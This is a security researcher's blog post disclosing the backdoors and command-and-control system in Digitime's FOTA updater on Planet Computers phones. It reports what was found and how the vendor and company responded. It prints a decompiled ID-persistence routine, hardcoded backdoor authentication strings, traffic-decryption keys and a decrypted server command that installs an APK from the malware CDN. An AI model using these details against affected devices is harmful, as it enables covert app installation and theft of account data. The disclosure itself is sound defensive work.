Researching the Digitime Tech FOTA Backdoors

An investigation into the shady stuff going on behind Digitime Tech's FOTA update service, as seen on Planet Computers's Android devices and on other low-budget Android hardware.

Background

Earlier this month I wrote about my research into the FOTA updater on the Cosmo Communicator, wanting to learn how it fetched updates in the hopes of gleaning more information about the device and getting the raw OTA update files. This sent me down an absurd rabbit hole: I went into it assuming good faith, only to discover that the updater contained a curious level of obfuscation and complexity (for things that, in theory, should be simple and straightforward) and some patterns that were very reminiscent of malware.

I attained my goal of writing a script that could pretend to be a Cosmo and fetch the OTA data. This still left a lot of questions unanswered, though... so I delved further.

This post contains everything I've learned about Digitime's operations, based off research into their company, their currently-operating online services, and every sample I could track down of their software. Their distribution model makes it difficult to get samples, so there's bound to be aspects I've missed, but there's still enough information to get a broad overview of what they're doing.

Update (2020-01-09)

Please see the note at the end of this post for more details on how the situation has progressed. In summary, Planet Computers were entirely unaware and started an internal investigation immediately after I notified them, and are working on mitigations/alternatives.

About Digitime

Shenzhen Digitime Technology (数联时代, or just Digitime) are a technology company based in Shenzhen that operates mobile device update infrastructure. Their main website at www.digitimetech.com boasts that they are a "globally leading FOTA service provider" with over 300 million devices.

A scrolling image carousel claims partnerships with Qualcomm, Mediatek and Spreadtrum (SoC vendors) and Revoview, WaterWorld and Bird (device manufacturers) - although this is most definitely not an exhaustive list; their About Us page claims "Digitime serves hundreds of worldwide Android terminal R&D companies, ODMs, and brands".

Closely linked is QiMing IoT (启明智物 or 深圳市启明智物科技有限公司), who also advertise FOTA services at www.qimingiot.com, have the same contact phone numbers as Digitime and even share the same legal representative, but are much younger - they were registered as a company in Guangdong Province in November 2018, and their domain name was registered a month later.

FOTA Updaters

Digitime's main business (at least, to the public eye) is their FOTA service - this is what they advertise on digitimetech.com and this is the aspect that's most visible to users.

They provide Android ODMs/OEMs with the SystemFota updater APK, instructions on how to build OTA packages and a web portal where they can upload them and view statistics.

An example of this is visible on one GitHub repo where an engineer at Erobbing/Luobin appears to have mistakenly uploaded a Digitime package from April 2016: https://github.com/dante198406/OTA - It includes Chinese-language documentation on integrating the updater into the system, multiple versions of the APKs for 4.x JellyBean/KitKat and 5.x Lollipop and a PowerPoint presentation about the system.

SystemFota (April 2016)

This repository gives us versions 4.0.2 (code 6), 4.2.1 (also code 6), 4.3.4 (code 11) of the updater. These are fairly old but still give us a picture of how the system has evolved - and also only partially obfuscated, which is helpful for analysis. Moreover, there's a leftover FoSvc.java.bak file inside the APK with original source code and comments.

The app is partially implemented in Java and partially in Lua. The former is in the com.fota.wirelessupdate.activity package, which handles the UI, the update checking, download and installation.

The FOTA portion of this system is quite predictable; with the exception of the URLs being hidden in the Lua code (more on this a bit later), it's all fairly standard. This version of the updater uses protobufs sent to a few endpoints under /phone/2.2/: check_project, check, reg_verify, upgrade, upgrade_finish.

Where it gets exciting is the com.fota.wirelessupdate.activity package, which includes a set of classes that interface with a Lua runtime to execute Lua scripts. These are the four entry points into Lua code:

FoSvc.startBoxService sets an Alarm to start up the FoSvc service every 4 hours. Once the service starts, it calls FoBoot.start_boot to execute the Lua function BootEntry, and also schedules a timer to perform a FOTA check from within Java code.

The other two FoSvc functions simply redirect towards Lua functions BootReadFotaConfig and BootSetTestCondition.

Finally, although this sample doesn't appear to use it, the FoExport interface has one method, Map callBox(Map) which calls into the Lua function BootAidl (this was removed entirely in a later version).

Unpacking the Lua Boot module

We can find this by looking at FoBoot.extract_boot(). The packages are stored inside extension-less zip files called license_01 (armeabi and armeabi-v7a) and license_03 (arm64-v8a), which contains a set of files containing Lua bytecode and the Lua runtime itself as a shared library (later versions of SystemFota move the runtime into the standard APK lib subdirectory).

Using unluac and luadec we can get vaguely readable code from the files - they're not perfect (for some parts, I had to resort to using luadec -dis which outputs the bytecode instructions in a human-readable form) but it's good enough to figure out what's going on with some work.

This version is internally numbered v1.3. I'll also be comparing some aspects against the version shipped on Planet's Gemini PDA and Cosmo Communicator, which is numbered v1.6.

Firstly let's look at the simpler functions mentioned above. BootReadFotaConfig simply uses ConfigGet to fetch some URLs and a single boolean flag, fota_ad_switch. By looking into the config script we can learn what the different URLs are - they are pieced together from strings that are interspersed with unused junk strings.

That last one is very common practice for malware - it generates a domain based off the current timestamp, following the template boot.bXXXXXXXX.net where XXXXXXXX is the first 8 characters of the MD5 digest for boxdomainYYYYMM (current year, current month 01-12).

(For context, the config script simply provides ConfigGet and ConfigSet functions which store variables into a shared preferences file. Keys and string variables are encrypted using encrypt_data, which XORs each byte with bytes from HiBox_5i5j_XiMik and then base64 encodes the result.)

Version 1.6 (present in slightly different variants on the Gemini and Cosmo, as discussed later with boot_version_ext) uses different URLs:

Next, BootSetTestCondition updates a couple of configuration variables used by the Lua code for scheduling - this will be explained in the next section.

BootEntry is where the shady stuff begins. It initialises some property within global state (accessed using the fetchData and storeData static methods on the FoSvc class, which is obtained in Lua through EnvGet('box_service_class')) and then starts up a new Lua handler on a separate thread, which is stored using storeData('boot_handler'). It then calls BootStart on that new handler.

BootStart queries for the presence of the "worker" code and calls ScheduleCheck to schedule a check-in. Then, if a worker was present, it sends the boot_handler Handler a request to execute the WorkerEntry function from it.

The Worker is a separate, dynamically-updatable package of Lua code which is where the meat of this system lies. This will be discussed later...

Boot C&C: Scheduling

The ScheduleCheck function mediates when the client will check in with the Boot C&C server. First, it looks at the values of the activate_account and activate_condition configuration values to define when it should activate.

On a new install, activate_account defaults to 0, and activate_condition defaults to the value of License from the Android manifest (3 in this sample), or 3 if that value does not exist.

If activate_account <= (activate_condition * 10), the function increments activate_account and then returns. This means that this code lies dormant until ScheduleCheck has been called at least 30 times.

(Version 1.6 neuters this somewhat: the threshold is no longer multiplied by 10, and defaults to 0, so that the dormancy period effectively does nothing.)

Following this, there are a couple more checks. If no network is available, the function exits.

It then checks whether enough time has passed since the last check-in; by default, the 'short' interval (used when on WiFi) is 5 days and the 'long' interval (used when on mobile) is 30 days. This is bypassed by the debug_switch configuration option.

(In version 1.6, both intervals are 8 hours, and debug_switch does not affect them.)

If all of these go ahead, the check_time configuration value is set to the current timestamp and ActionCheck is called.

This is where the BootSetTestCondition function mentioned earlier comes in: it sets the counter and time variables such that a check-in will be triggered immediately, bypassing the initial dormancy period and also the delay between check-ins.

Boot C&C: Check-In

ActionCheck is quite a simple function. It makes a POST request to the boot_url (each one is attempted in order until it succeeds) containing a JSON payload encrypted using encrypt_data as described earlier.

The info sent to the server includes a UID (obtained from GetConfig) and some basic information returned by EnvInfo from the env script: the channel and project ID, the phone's model and ROM version, the updater version, the boot version, the worker version (if present), whether the host app is a system app or not, and the current network type.

In version 1.6, the last two fields are replaced by boot_version_ext: "c" (or "a" for the Gemini variant). This identifies which particular variant of the boot payload is being used - the same pattern exists for the worker, as we'll see later.

This is hard to analyse in depth without access to more 'host' APK samples, however. The only differences between 'a' and 'c' are FOTA domain names and one Java class name (the host service name for the Lua payload), but there may be other unknown (to me) variants with more significant changes.

All of the other fields are fairly self-explanatory except for the channel ID (sometimes called 'customer ID') and project ID. These are arbitrary strings which appear to be tied to a specific deployment within Digitime's infrastructure (for example, this SystemFota uses LUOBIN and SYSLUOBIN, Planet's Gemini uses EASTAEON and EASTAEON_20180426, and Planet's Cosmo uses EASTAEON and EASTAEON_FW_20190712), and are used by both the FOTA client discussed earlier and by the Lua C&C client.

The server returns a payload that can include a config, a cmd or both. If a config is present, its values are used to update existing ones using ConfigSet. If a cmd is present, its value is checked to determine what action to perform next: ActionRegister, ActionUpgrade or ActionInfo, and parameters for them are pulled from the params key.

Boot C&C: Registration

ActionRegister sends a request in a similar fashion to the previous section, using register as its action. It supplies the return of EnvInfo as before and also calls ConfigGetInfo to get the entirety of the data tracked by the config module.

The server returns a payload that may include a new UID and optional updates to config. If a new UID is provided, it's stored using ConfigSet and then another ActionCheck is performed immediately (without waiting for the next scheduled check-in).

Boot C&C: Info

ActionInfo sends a request telling the server some information about the client.

In version 1.3, this is just the EnvInfo and ConfigGetInfo data that the Register action sends. In 1.6, it's stepped up by also including the return of PhoneInfo (metadata from the android.os.Build class) and PhoneReadTelephonyInfo (identifying information such as the IMEI, SIM phone number, serial number and details on the current mobile network).

The server optionally returns updates to config as with the other two and a new cmd which gets the client to execute either ActionRegister or ActionUpgrade immediately.

Boot C&C: Upgrade

The last command to look at here is ActionUpgrade. The params for it specify a URL to a worker package. It downloads that package and extracts it to the worker directory specified by the config module.

This is what gives the system its power. Although the Boot system is fairly benign, giving Digitime nothing other than some basic metrics and device-identifying data, the Upgrade command allows them to supply a Worker package containing arbitrary Lua code.

Boot AIDL

A slight detour here before we look at the worker: v1.3 included the mechanism that allowed Java code to bind to the FoSvc service, retrieve an interface and then call into the BootAidl function.

This handles a get_UID command and returns ConfigGet('UID'). All other commands are passed through to a WorkerAidl function within the worker.

Lua Worker

The Worker is the core of Digitime's C&C client. Once a client has registered their device using the Boot module discussed above, they send an upgrade command with a worker for them to download.

What's particularly insidious about this system is that Digitime maintains different workers with different abilities. This means that documenting everything they can do is difficult: I know of three variants, but there may be more I don't know about simply because I cannot guess the URL to them and their C&C won't supply it to me.

The samples I've observed are located on the shady-sounding cdn.facebook-3rd.com domain, which they appear to use to distribute both updated workers and malware/adware applications that are pushed to devices. There's records on various malware tracking sites suggesting that Digitime used to store these on flare.facebook-3rd.com, but this is no longer active. (More on Digitime's domain names in a later section of this report.)

Every worker uses the same external interface, but processes different commands. The architecture is very similar to the Boot module, I currently know of three versions (not counting 32-bit variants), available at the following URLs:

The first reports itself as version v0.0, and the other two report themselves as version v1.6. Each of these also has a worker_version_ext field which matches the last character in the name - like the boot_version_ext field seen above, this seems to identify separate variants of a particular worker version that have different capabilities.

The b worker is fairly basic, and provides very few abilities over the base Boot module - this is what the Digitime server offered my Cosmo. The i and m workers add more interesting malware-like behaviours, which I'll discuss later in this section.

Initialisation

The Worker is controlled through a single entry point, WorkerEntry, which is called from the Boot module as discussed earlier. It begins with one particularly interesting piece of code which sets up various class names, allowing it to adapt to different versions of the host Android application.

Two externally supplied variables (which the host configures when creating the Lua state) are queried: box_package_name and service_ver_int.

If no package name is supplied, it defaults to iwa.box and the settings from the first row of the following table are used. Otherwise, it checks service_ver_int to determine what kind of host it's dealing with.

Service Version Boot Handler Service Utility Receiver
(nil package) BoxBoot BoxHandler GuardService BoxUtility BoxReceiver
(nil version) FoBoot FoHandler FoSvc FoUtility FoRcv
19+ FoBoot FoHandler BaseIntentService FoUtil2 InfoReceiver
17-18 FoBoot FoHandler GCMBaseIntentService FoUtil2 GCMBroadcastReceiver
16 FoBoot FoHandler FoSvc2 FoUtil2 FoRcv2
0-15 FoBoot FoHandler (undefined) FoUtil2 (undefined)

Similar to what BootEntry did for the Boot module, the Worker creates a new Lua thread and handler, and stores it into the worker_handler data field on the Service class. The WorkerStart function is executed on this new thread.

WorkerStart is quite straightforward. It calls ScheduleCheck(false) (note that despite the naming, this is separate from the ScheduleCheck function present in the Boot module - none of the Boot code is accessible on the separate context) and then increments the call_count configuration variable.

If ScheduleCheck returned true, then the worker calls MiscCheckRetention (only in the i and m variants) and then immediately terminates its thread.

There's also some code for executing debug actions, which I don't believe can be activated using any of the versions of the host that I've seen.

The default C&C URLs used by the worker module are as follows - this is the same for the three variants I looked at:

Worker C&C: Device IDs

The uuid module in the workers exposes a simple API: UuidReadDID, UuidWriteDID and UuidReadUUID - responsible for keeping track of two different user IDs.

What's really sneaky about it is that each of these values is kept in multiple different places in order to make it harder for someone to remove the tracking data. They also try to detect tampering and report it home.

The UUID can be stored globally in /cache/.log.pro.uuid, and locally in $PACKAGE/files/.log.pro.uuid and $PACKAGE/shared_prefs/uuid_pro.xml. The UuidReadUUID function checks all of these (in the order of XML, private data and then cache) and then takes the first valid one as correct. If none are present, then a new one is generated using the Java UUID class.

Any missing/non-matching entries are replaced, and then the function returns a UUID along with some information. The 'read' string (e.g. X2P2C1) specifies what was read (0 = nothing, 1 = non-matching UUID, 2 = matching UUID), the 'write' string (e.g. X0P0C1) specifies whether any writes were made (0 = no, 1 = yes), and the 'loc' string specifies which location the UUID was pulled from.

wlog("UuidReadUUID()")
result = {}
xml_uuid, xml_valid = read_uuid_at_xml_sp()
priv_uuid, priv_valid = read_uuid_at_private_data()
cache_uuid, cache_valid = read_uuid_at_cache()
wlog("uuid_xml: " .. tostring(xml_uuid) .. ", " .. tostring(xml_valid))
wlog("uuid_private: " .. tostring(priv_uuid) .. ", " .. tostring(priv_valid))
wlog("uuid_cache: " .. tostring(cache_uuid) .. ", " .. tostring(cache_valid))
xml_readflag = xml_valid ? 1 : 0
priv_readflag = priv_valid ? 1 : 0
cache_readflag = cache_valid ? 1 : 0

loc = ""
if xml_uuid:
  what_uuid = xml_uuid
  loc = "X"
else if priv_uuid:
  what_uuid = priv_uuid
  loc = "P"
else if cache_uuid:
  what_uuid = cache_uuid
  loc = "C"

wlog("uuid: " .. tostring(what_uuid))

if not what_uuid:
  what_uuid = build_uuid()
  loc = "N"

wlog("uuid_loc: " .. tostring(loc))
result["loc"] = loc

if not what_uuid:
  result["read"] = "X" .. tostring(xml_flag) .. "P" .. tostring(priv_flag) .. "C" .. tostring(cache_flag)
  return 

what_uuid = tostring(what_uuid)
xml_writeflag, priv_writeflag, cache_writeflag = 0, 0, 0
if xml_uuid == what_uuid:
  xml_readflag = 2
else:
  xml_writeflag = write_uuid_at_xml_sp_data(what_uuid)
if priv_uuid == what_uuid:
  priv_readflag = 2
else:
  priv_writeflag = write_uuid_at_private_data(what_uuid)
if cache_uuid == what_uuid:
  cache_readflag = 2
else:
  cache_writeflag = write_uuid_at_cache(what_uuid)

read_info = "X" .. tostring(xml_readflag) .. "P" .. tostring(priv_readflag) .. "C" .. tostring(cache_readflag)
write_info = "X" .. tostring(xml_writeflag) .. "P" .. tostring(priv_writeflag) .. "C" .. tostring(cache_writeflag)
wlog("uuid_read_status: " .. tostring(read_info))
wlog("uuid_write_status: " .. tostring(write_info))
result["read"] = read_info
result["write"] = write_info

The DID is slightly different, as it's supplied by the Digitime server on 'register' rather than being generated by the client, which is why it exposes separate UuidReadDID and UuidWriteDID functions.

It can be stored globally in /cache/.log.pro.did.ZZZZ, where ZZZZ is the result of calling encrypt_data on the package name (the Base64 output is munged to make it safe for filenames by replacing + by A, / by B and = by C), and locally in $PACKAGE/files/.log.pro.did and $PACKAGE/shared_prefs/did_pro.xml.

Aside from these differences, it behaves almost identically to the UUID reader, returning 'read', 'write' and 'loc' fields. It also checks for the presence of a phone_id field using GetConfig which the log messages call "old" - perhaps this was used by an older version of the worker...

So, what about the 'i' and 'm' versions of the worker? These actually add more locations for IDs! In the versions I looked at, these will also store the UUID and the DID to hidden files .log.pro.011/.log.pro.uuid and .log.pro.011/.log.pro.did.ZZZZ on the SD card/external storage. Can't pass up a tracking opportunity!

Worker C&C: Scheduling

The Worker's scheduler doesn't include the dormant period that the Boot scheduler does - it just gets going straight away. Otherwise, it works in a very similar fashion.

The default configuration requires a minimum of 6 hours between check-ins (regardless of connection type). This is theoretically changeable on a per-client basis by the C&C server through the config update mechanism but I don't know if it actually does this.

Once this condition is met, ActionCheck is called. The 'i' and 'm' workers extend this functionality further - more on this later.

Worker C&C: Check-In

The client sends a check request to the worker URL, enclosing the DID and the EnvInfo data. This includes the phone model and serial number, the channel/project ID, the UID from the 'boot' module, whether the host package has app install/delete, permissions, the package name and signature, whether the host package is a system app and some other bits of internal metadata.

The 'i' and 'm' workers also add the IMEI and IMSI to the EnvInfo data, and they tag on some extra payloads to the main request - data returned by get_install_report and by get_app_3rd_report. More on this later.

The result is checked for a command in the typical fashion. All workers support register, upgrade and test. The 'i' and 'm' workers also support info, install, uninstall and retention.

The server can also optionally supply updates to the config (as seen in other handlers here) and optionally a params object that contains values for CID, PID and activate_time.

The register and upgrade commands are basically the same as what we've seen before, and the test command does nothing.

So, the 'b' worker does very little - it checks in and supplies the EnvInfo data every so often, and can upgrade itself, but otherwise there's nothing of interest. Let's look at the fancier workers.

Worker C&C: Info Gathering

The info command present only in the 'i' and 'm' workers is where this thing really starts to seem like malware. It asks the client to send back a request with a bunch of information. The base request includes just the DID and the return of EnvInfo. However, the server can supply an info_level integer where individual bits specify kinds of information to return:

Worker C&C: Package Control

Next up are the install and uninstall commands present only in the 'i' and 'm' workers, giving Digitime the ability to remotely install apps. This is where the reports sent by check come in handy!

The server's install command is accompanied by details of an APK to download and install, along with some metadata. Information about the install process gets stored into the 'install report' using the update_install_report function, and a new Lua thread is started on the WorkerInstall function.

Additionally, if the server passes a true keep_check field, the worker calls update_app_3rd_list to store some information: an ID, a type, a package, a service, an action, and a mode (which can be either 2 or 3).

Each install report update is accompanied by a call to ActionReport, which calls into the C&C server to tell it about the current status.

The WorkerInstall function on a separate thread simply reads the parameters passed to the last install action and downloads the APK. Once fetched, it installs the package and then calls ScheduleNext(15000, "activate"), which in turn calls WorkerActivate on a new thread in 15 seconds.

WorkerActivate checks to make sure the package is installed and then attempts to activate it using a specified intent - this can optionally include the Channel ID, Project ID, Device ID and the activate_time configuration field, passing them to the newly installed app.

What else? The uninstall command is fairly predictable, allowing the Digitime server to remove a specified app.

I mentioned the retention command earlier - this has the server supply a list of apps which the worker will act upon. Depending on what mode value is specified for each app, it will remove it from the '3rd list', add it to the '3rd list' (for regular checking), uninstall it entirely, or call MiscCheckAppRetention. That function checks to see whether the app is installed and running, and can optionally forcibly re-activate it.

Worker C&C: Backdoors

This is where the differences between the 'i' and 'm' workers come in. The 'i' worker installs packages by shelling out to the pm command. The 'm' worker ups the ante by using a wide variety of methods to install and remove packages.

It checks the version code of the Lua host (to determine which methods it offers) and then calls one of a variety of methods:

What makes this difficult to fully document is that I haven't managed to find any examples of the host apps that provide the 19-28, 29-37 or 38-898 versions, so I'm not sure what they do behind the scenes. The SystemFota app pre-loaded on the Cosmo Communicator, however, provides the isGrI and isGrD methods (among others), which hook into my favourite part of this whole disaster...

fo_sl_enhance

The Cosmo's SystemFota app includes a set of obscurely named interfaces called IOrgX, IOrgY and IOrgZ, defined within the android.internel.slf4j.fun package (yes, it really does say 'internel').

These are accessed through the com.dtinfo.tools.activity.l class and the bits in the com.dtinfo.tools.call package. Their methods are bound to Lua through methods on the Box class (FoState), including the isGrI and isGrD methods mentioned above.

These call into a custom Android system service present on the Cosmo - I've not yet located any other device ROMs that include it. No other code in the FOTA updater interacts with it except for the update check UI, which calls l.b() to fetch the backdoor's version number from the IOrgZ interface's orgZver method, and fails to check if the call fails.

I'm making heavy assumptions here, but I suspect that Digitime asks OEMs to include the service in their firmware, and this requirement in the FOTA updater simply ensures that they don't remove it. No part of the FOTA update system actually uses this service - as far as I can tell, the only way it would be used is if Digitime loads the 'm' worker onto your device and uses it to remotely install apps.

The service in question is accessed by calling ServiceManager.getService("fo_sl_enhance"), which returns an instance of android.app.ILightsService (an IPC service defined in boot-framework that doesn't exist in stock Android).

The implementation in question is defined by com.android.server.sl.enhance.LightsService2, a class defined in the services framework). Looking at this gives us a well-defined public interface for 'services' (no connection to Android services themselves), which is fully IPC enabled via Binders:

There are a few other interesting things. There's a handler for an Android secret code: typing *#*#17071586#*#* into the Phone app will trigger a receiver which just shows a notification.

There is also an unused access control method, c(String), which validates that the passed string is iWoPZrScPM1IeF and that the calling package is one of installrun.harryliu.digi.com.ligthservicetest, com.fota.wirelessupdate or com.system.ftools.

There's also a getVersion method in com.android.server.p007sl.enhance.app.FOManager, which returns FoEnhance_28_2.0.0 in the version I examined.

So, what's in the sub-services themselves? The static method LightsService2.c() is called on initialisation which in turn calls OrgXImp.regService(), OrgYImp.regService() and OrgZImp.regServcie() (yes, they misspelled it) to register the three used services, and then also adds a FPService instance with an empty name (which means it never actually gets added).

FPService is defined in boot-framework and implements the IOrgB interface, and only has two methods - one that reads up to 8kb from a file, and one that writes up to 8kb to a file. However, it's not even used.

Backdoor: IOrgX

This service offers methods to play around with packages:

Backdoor: IOrgY

This service offers one hilariously powerful method, orgYGM, which allows any Android permission to be silently granted to any app (regardless of whether it defines that permission in its manifest), by delving into the state of the PackageManagerService using copious amounts of Java reflection.

Backdoor: IOrgZ

This one is just a bucket of unrelated fun things (with a lot of helpful debug messages in usual Digitime fashion):

Security Implications

Okay, so first, consider that all this is being done with system privileges. Any app can access these services.

The only authentication in place is that every method has an extra parameter which must be set to a constant string (uisTeOpCk or iWoPZrScPM1IeF depending on the sub-service). The presence of the unused c(String) method mentioned earlier implies that Digitime were at one point toying with requiring the calling app to have a particular ID as well as passing the appropriate string, but they didn't even bother doing that in the end.

The abilities to grant any app arbitrary permissions and to read/write files as the system user mean that any app running on a system with Digitime's fo_sl_enhance service has a ridiculous amount of power. I was able to use this to dump the Android accounts database (including auth tokens) and to even disable the SystemFota system app, all from an un-privileged app that declared no permissions.

I couldn't use it to read app data as Android sandboxes these to specific Linux users, but there may be a way to do this that someone with more Android security knowledge could pull off.

I'd really like to see other devices that contain this backdoor, but I couldn't track down ROMs for any. Planet's Gemini, as mentioned earlier, also uses Digitime's FOTA updater but it's a significantly older version that does not require or include the backdoor.

Other malware linked to Digitime

In my research I came across a bunch of examples of known adware/malware being distributed from the same CDN, facebook-3rd.com, that Digitime uses to distribute their workers. There are various APKs which are almost identical but with randomly generated names, package names and certificates such as com.seneleven.holesuit and com.hinedey.empoy.

Furthermore, all of these contain reporting mechanisms that talk to servers belonging to Digitime and speak almost-identical protocols, down to the same semi-readable nonsense for encryption keys.

For example, 002_20190514_39_01_20190514_1.rdf (com.seneleven.holesuit) renders ads loaded from sx.omuchain.com (a domain registered by the same person, using the same WHOIS info - a shopping mall in Tokyo - as the QiMing IoT website), and phones home to http://home.googLemobilecenter.info:10000/gmc_adm/mediation. The HooConsant class in that example includes the traditional Channel ID and Project ID used by Digitime's systems. The encryption keys in the HooPacket class are Ti92T_77Zij_MiTik (also used by the legitimate side of their FOTA updater!) and 4x1i3b3-0=7j_Tioook.

com.spitsbergen.temperatures or 001_20190613_41_01_20190613_1.rdf, available on Koodous, is another app which does nothing but render ads. It actually includes code to fetch the CID, PID, DID and activate_time values that the Worker can pass to an app through an intent - so it's obvious that this was intended to be installed through Digitime's Worker system.

This thread on XDA Developers includes packet dumps from someone who was actively affected by this - Digitime's worker was installing malware on their phone, while running under the FOTA app. While the dumps are encrypted, they're trivial to decrypt when you know the keys... They appear to have been running the backdoor-free 'i' worker. This is the decrypted install command that their server sent to them:

{
    "errcode":0,
    "cmd":"install",
    "params":{
        "id":2308,
        "replace_method":2,
        "service":"com.emblazon.felicit.util.JueSvc",
        "package":"com.emblazon.felicit",
        "keep_check":true,
        "cmd":"install",
        "url":"http://flare.facebook-3rd.com/001_20181101_67_01_20181101_1.apk",
        "action":"{"type":"intent_service", "intent_action":"com.emblazon.felicit.util.JueSvc", "extra":true}",
        "package_ver":67,
        "type":"3rd"
    },
    "config":{
        "interval_short":43200,
        "interval_long":43200
    }
}

There are a variety of other fun examples you can find if you search online for URLs on flare.facebook-3rd.com and cdn.facebook-3rd.com. I was able to track down mentions and/or copies of all of these files, located on Digitime's CDN:

What next?

I contacted Planet Computers on the 2nd December 2019 about Digitime's software being included in the Cosmo. They replied the next day saying that they've passed it onto their developers but can't comment further (understandably). I'm hoping they will remove it, nevertheless.

Planet are only one OEM though and there's undoubtedly others using Digitime's services. There is no way I can trust an OTA distributor which moonlights as a malware distributor like this. This isn't your typical accidental security bug - this is a company that is knowingly and actively putting a malware distribution mechanism on phones through the supply chain, and getting paid for it. Truly living the dream.

What's more, this isn't even the first time an OTA update provider has been caught red-handed abusing their trust. In 2016, security firm Kryptowire discovered a similar situation involving Adups, whose FOTA software exfiltrated personal data and allowed arbitrary apps to be installed (hey, doesn't that seem familiar...?).

Perhaps publicly shaming Digitime will make something change. I'm just one guy with a laptop, and not a big research firm, but it's better than nothing, right?

If you have a device with Digitime's backdoor present on it, I'd be very interested in knowing what it is so I can take a look at the firmware. Let me know: Twitter @_Ninji, or email ninji@wuffs.org

Update (2020-01-09)

I'm not ready to write a full follow-up just yet, but I wanted to amend this to note that I've been in contact with Planet Computers over the past few days regarding this situation. PC were entirely unaware about the security issues in the OTA software, and they are working on mitigations and on switching away from Digitime.

I'm very happy with their response and handling, they have been professional and receptive and they started investigating the issue internally the day after I notified them.

Digitime appear to have realised that their game's been spotted; I've noticed some interesting changes. Yesterday I poked the API for the first time in a while, using my Cosmo's ID, and I was served a brand new worker version, worker_v0x_64.rdf which entirely rips out all the functionality bar the external functions and leaves what's essentially an empty shell. The file is dated 2019-12-04... curiously, just a day after PC made internal inquiries following my disclosure to them.

I also tried pretending to be a Gretel A7, as in the packet dumps in the XDA Developers thread linked earlier. This got me a brand new worker identified by the worker_version_ext 'yeah', which is identical to the standard 'b' worker in all respects except for the version ID, and its compile date is 2019-12-05.

And, the server handling the 'boot' requests was simply returning a "too many connections" error.

Today, more changes have occurred. The 'boot' server is working again. The URLs on cdn.facebook-3rd.com all now simply return 404s. Pretending to be a Cosmo or a Gemini now gets me a request to upgrade to the Worker http://cdn.hosthotel.xyz/00_64_b.aac, which is the same old 'b' worker at a different URL. Pretending to be a Gretel A7, using the exact same request I sent yesterday, now gets me http://cdn.facebook-3rd.com/cdn2/worker_v0x_32_3.rdf... which sounds like it would be a variant of the Cosmo's empty worker, but the URL just 404s.

Also, the DigitimeTech and QimingIOT websites have been taken down just today; their A records have been removed and replaced with CNAMEs to random residential IP addresses. Shoutout to SecurityTrails for helping me confirm this: https://securitytrails.com/domain/www.digitimetech.com/history/a

The management portal at portal.digitimetech.com, for device manufacturers, is still running, and is the only bit of Digitime's web presence that still seems to be running.


Previous Post: "16 Shades of Grey" - Building a Psion/EPOC32 Emulator
Next Post: Reviving Yahoo! PageBuilder in 2020